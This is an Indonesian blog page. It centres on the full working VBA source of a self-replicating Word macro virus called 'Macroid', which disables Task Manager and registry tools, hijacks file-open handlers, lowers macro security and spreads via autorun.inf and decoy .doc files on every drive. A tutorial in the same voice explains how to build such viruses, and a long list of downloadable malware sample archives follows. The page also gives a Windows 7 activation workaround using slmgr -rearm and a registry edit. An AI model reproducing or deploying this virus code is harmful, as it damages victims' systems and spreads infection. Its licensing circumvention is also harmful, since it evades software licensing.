Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34)  & “Ms.Word is a thing that can be used as a power to break  everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(“windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then
Open Environ$(“windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(“Tools”).Controls(“Macro”).Visible = False
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
CommandBars(“Tools”).Controls(“Customize…”).Visible = False
CommandBars(“Tools”).Controls(“Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content  = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf  & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf  & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite  “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,  “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If  Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And  Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And  Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And  Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If  Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And  Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And  Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And  Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI



Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
dim AD as object
 set AD=ActiveDocument.VBProject.VBComponents.Item(1)
if AD.Name  “Macroid” then
 AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
 AD.Name = “Macroid”
 end if
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…
image002
Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
image006
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:
image010
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

DOWNLOAD KUMPULAN VIRUS UNTUK DI OPREK-OPREK

Koleksi Virus Agustus 2009
Rh354 sampel.rar
SAMPEL-RECYCLER(VMX).rar
Vir A-25-8-09_ By Neo Bekabe.zip
y-aorsli.autorun.worm.rar
y-new.malware.A.rar
y-new.malware.B.rar
y-Spy.tool.rar
y-trojan.agent2.rar
y-trojan.dropper.rar
y-Trojan.murlo.rar
y-trojan.regrun.rar
y-worm.autoit.rar
y-worm.generic.b.rar
y-worm.generic.rar
Koleksi Virus September 2009
(2) trojan.generic.zip
comwarior.c.zip
conficker.rar
sality.zip
SampelvirusRecycler.zip
SampelvirusRecycler.zip
Sample virus.zip
SimbOS.sebelo.zip
SymbOS-Fontal.A.zip
trojan.generic.zip
Virus by Neo BeKaBe_09-09.zip
Virus Ganas.tar.gz
Virus.Win32.Sality.p.zip
Virus.Win32.Sality.q.zip
Virus.Win32.TeddyBear.zip
y-infected.suspected.zip
y-psw.online.games.zip
y-Sality.Suspected.rar
y-sality.varian.rar
y-sality.varian.yudha.rar
y-suspected.virus.zip
y-trojan-agent.zip
y-trojan.agen.lagi.zip
y-trojan.delf.zip
y-trojan.VB.ITN.zip
y-virus.cacing.zip
y-virus.pwrszr.warnet.b.zip
y-virus.pwrszr.warnet.zip
y-virus.winlib32.warnet.zip
y-zndll.warnet.rar
Koleksi Virus Oktober 2009
y-Ciluka.B.rar
y-Ciluka.worm.rar
y-Conficker.Variant.rar
y-cuakep.varian.rar
y-Cuakep.virus.zip
y-delf.varian.rar
y-FakeAlert.trojan.zip
y-Falder.trojan.zip
y-FFE.rar
y-FraudPack.trojan.zip
y-HantuRimba.rar
y-kemben.b.rar
y-Kemben.rar
y-new.virus.rar
y-ratnguy.virus.rar
y-RatuFelisha.rar
y-sality.nakal.rar
y-sality.varian.lagi.rar
y-sality.varian.lagi2.rar
y-suspected.ise32.rar
y-suspected.keygen.rar
y-suspected.virus.lagi.rar
y-suspected.virus.rar
y-Symbos.Comwar.rar
y-Symbos.rar
y-Trojan.Acad.rar
y-Trojan.Agent.rar
y-VB-KZN.worm.rar
y-Virus.Jim.zip
y-Virus.VB.rar
y-virut.varian.lagi.rar
y-zola.fakeAV.zip
y.suspected.virus.rar
y.VB.Worm.PDL.rar
y.Virut.varian.zip
Koleksi Virus Bulan November 2009
(2) New Folder.rar
(3) New Folder.rar
autorun.inf,DidugaVirusINF
file terinfeksi oleh virus varian alman by adnan.zip
file terinfeksi virus by adnan.zip
linkinfo.rar
logoff.exe,LogOff
more.rar
New Folder.rar
Sampel virus by coe88.zip
Sampel virus zPharaoh.zip
Setup.rar
y-Alman.Varian.rar
y-Brontok.rar
y-Email.Worm.lagi.rar
y-Email.Worm.rar
y-Nimda.htm.rar
y-Runonce.Lagi.rar
y-Runonce.worm.rar
y-Sality.AA.rar
y-Sality.AM.rar
y-Sality.Injected.rar
y-Sality.lagi.rar
y-Sality.Varian.lagi.rar
y-sality.varian.rar
y-Suspected.Autorun.rar
y-Suspected.Generic.rar
y-Suspected.virus.rar
y-Thumbss.vbs.rar
y-Trafaret.Worm.rar
y-Trojan-Gen.rar
y-Trojan.Gen.Varian.B.rar
y-Trojan.Gen.varian.C.rar
y-Trojan.Gen.varian.rar
y-Virut.Injected.rar
y-Worm.Agent.zip
y-Worm.Agent2.zip
y-Worm.Saber.Autorun.rar
y-Yuyun.Varian.rar
y.GameThief.rar
Koleksi Virus Bulan Desember 2009
(2) y-Suspected.Virus.rar
a-fake file.zip
ABG.Gila.rar
al.rar
autorun.rar
Autorunme.Worm.rar
Backdoor.PHP.Small.o [Kaspersky].rar
BAT.Mita.rar
By Neo_BKB_Setup.exe
Cuakep.Baru.rar
Cuakep.Varian.rar
FlashDiskLock.rar
Gen.Troj.rar
gendel32.Trojan.rar
I miss you. Varian.rar
Infected.Autorun.Worm.rar
m.rar
Malware.by.Shafry.rar
Mita.vbs.rar
Morphirii.rar
MP3.Samson.Worm.rar
msvbvm60.rar
New.Virus.rar
New.virus.rar
Nimda.htm.rar
Playboy.A.rar
Playboy.B.rar
Runonce.Infected.rar
Runonce.Varian.rar
Sadic.vbs.rar
Sample Virus 11 Des 09.zip
Script.New.rar
sgemtx.rar
shireen_sungkar.rar
Smadav 7.3.rar
svchost.7z
Trojan.Downloader.html.rar
Trojan.Lagi.rar
vbs.script.rar
virus Bokep.rar
Virus CoPas by Maxx.rar
Virus.BDEWASA.zip
Virus.item.rar
Virus.rar
Worm.Bagle.AG.2.exe.gz
y-Ardamax.Worm.rar
y-Autorun.Worm.rar
y-Gadis.Ancol.rar
y-Gen.troj.rar
y-JS.Agent.Troj.rar
y-Malingsia.Varian.2.rar
y-Malingsia.Varian.3.rar
y-Malingsia.Varian.rar
y-Sality.Varian.rar
y-Sex.17Tahun.rar
y-Suspected.Virus.rar
y-Trojan.Acad.rar
y-Trojan.Backdoor.rar
y-Trojan.Dropper.rar
y-Trojan.FatalError.rar
y-Trojan.Gen.Lagi.rar
y-Trojan.Gen.rar
y-Trojan.Gen.Varian.rar
y-Virus.Acad.rar
Yuyun.Thumb.lagi.rar
Yuyun.Thumb.Varian.rar
Koleksi Virus Januari 2010
Autoit.Varian.rar
autorunme.Recycler.rar
autorunme.Recycler.zip
bukan virus.rar
Cinta.Laura.Worm.rar
Gen.Troj.Yahoo.B.rar
IRC.Worm.rar
iseng.vbs.rar
New Folder.rar
New.Virus.rar
New.Virus.Undeepfreeze.zip
Nimda.htm.rar
Pharaoh(pass=1234).rar
rad05b8f.zip
Recycler.scr.rar
Recycler.Varian.rar
Sality.Varian.hkcmd.zip
Sality.Varian.lagi.rar
Sality.Varian.rar
Script.vbs.rar
Trojan.Dropper.rar
VIDEO maria OZAWA 2.zip
Vira.Worm.zip
virus ternate.daa
Worm.Gen.rar

Windows 7 Tanpa Activation Code

Kali ini mau berbagi bagaimana caranya kita menggunakan Windows 7 ( Windows Seven)  tanpa menggunakan Activation Code, kita cukup memperpanjang masa pinjaman & masa gratisan yang sudah disediakan oleh Microsoft.
Detailnya sebagai berikut:
  1. Windows 7 menyediakan masa trial 1 bulan bukan? Senangnya bisa make 1 bulan, setalah 1 bulan bagaimana? Pusing kan!
  2. Windows 7 menyediakan masa perpanjangan trial selama 120 hari <- pasti pada banyak yang gak tahu nih :)
  3. Windows 7 (dengan sebuah trick) menyediakan tambahan perpanjangan sampai 240 hari :)
Tanpa anda sadari, sebenarnya Microsoft itu baik loh sama kita, walhasil sampai sekarangpun kebanyakan dari kita make Windows 7 di Laptop, PC, dsb :) Kita bisa menggunakan Windows 7 (Win Seven) kurang lebih 1 tahun gratis.
Oke lah kalau begitu, kita lanjutin sama langkah-langkahnya deh ya:
1. Buka Start -> All Programs -> Accessories -> Command Prompt, trus jangan lupa & wajib “Klik Kanan -> Run As Administrator”. Kemudian jalankan command prompt, jelasnya sebagai berikut:
2. Kemudian ketikkan perintah berikut: slmgr -rearm , akan muncul prompt untuk restart komputer. Hal ini bertujuan untuk memperpanjang masa penggunaan Windows 7 selama 30 hari. Saya mencoba melakukan hal ini sebanyak 3x lagi, jadi anda bisa memperpanjang selama 30 + (3 x 30 ) = 120 hari. Untuk lebih jelasnya lihat gambar berikut:
3. Selanjutnya, kita dapat melanjutkan perintah diatas dengan melakukan perubahan di regedit terlebih dahulu. Caranya: “Start -> Run -> Regedit“, kemudian dilanjutkan dengan pencarian HotKey berikut HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform.
4. Kemudian cari disebelah kanan: “SkipRearm“, kemudian “Klik Kanan -> Modify”, ganti valuenya yang semula “0” menjadi “1“.
5. Kemudian ulangi perintah: slmgr -rearm sebanyak 8x, jadi total yang diperpanjang adalah 8 x 30 = 240 hari.
6. Selamat anda sudah bisa memakai Win 7 selama 1 Tahun! Sebelum habis masa satu tahun, carilah Serial Number Win 7 yang tersebar gratis di Internet. Jadi gak perlu khawatir lagi, masih cukup banyak waktu untuk mencari Genuinenya bukan? :)

Panduan Lengkap: Cara Instal Linux Ubuntu 18.04 LTS Desktop

Panduan Lengkap: Cara Instal Linux Ubuntu 18.04 LTS Desktop – Disini saya akan membahas artikel yang berbeda dan tidak melulu tentang Wo...